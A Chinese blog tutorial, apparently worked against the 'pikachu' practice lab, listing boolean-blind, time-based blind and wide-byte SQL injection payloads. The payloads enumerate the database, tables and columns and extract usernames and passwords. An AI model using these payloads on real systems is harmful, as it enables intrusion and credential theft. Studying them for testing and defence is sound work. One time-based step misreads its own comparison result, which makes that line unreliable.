SQL隱碼攻擊之常見注入的步驟④

新時代的小菜b發表於2020-11-11

SQL隱碼攻擊之常見注入的步驟④

盲注:(布林)

①判斷注入:name=kobe’ and 1=1 %23 正常, name=kobe’ and 1=2 報錯 存在注入

②通過length判斷資料庫的長度
name=kobe’ and length (database())>6 %23 正常,>7報錯 所以長度為7

③判斷資料庫第一位的ascii值
name=kobe’ and ascii(substr(database(),1,1))>111 正常 >112報錯 所以庫的第一位ascii值為112

④判斷資料表第一位的ascii值
name=kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))>103%23 正常 , >104報錯 ascii值為104

⑤判斷欄位:與表類似

⑥判斷資料:
name=kobe’ and ascii(substr((select username from users limit 0,1 ),1,1)) >96 %23 正常, >97報錯 所以第一個username的ascii值為97

盲注(時間)

①判斷注入:kobe’ and sleep(5) 延時5秒後才顯示,存在注入

②通過ascii判斷資料庫
kobe’ and if(ascii(substr(database(),1,1))>111,sleep(6),1) 有延遲 >112 無延遲 第一位ascii為112

③爆資料表
kobe’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))>103,sleep(6),1)# 有延遲,>104無延遲 所以第一位ascii值為104
④爆資料列
kobe’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>116,sleep(6),1)# 有延遲,>117無延遲 所以第一位ascii值為116

⑤爆資料
kobe’ and if(ascii(substr((select password from users limit 0,1),1,1))>100,sleep(3),1)# 有延遲, >101無延遲 所以第一位ascii值為101

寬位元組注入

①抓包

②判斷注入:在後面加%df’看是否報錯,報錯為寬位元組注入

③判斷列數:name=a%df’ order by 3 報錯,order by 2 無報錯 為2列

④爆資料庫:name=a%df’ union select 1,database()%23

⑤爆資料表:name=-a%df’union select table_name,2 from information_schema.tables where table_schema=database()%23

⑥爆資料列name=-a%df’union select column_name,2 from information_schema.columns where table_name=‘users’%23

⑦爆資料name=-a%df’union select concat(username,0x7e,password),2 from users%23

相關文章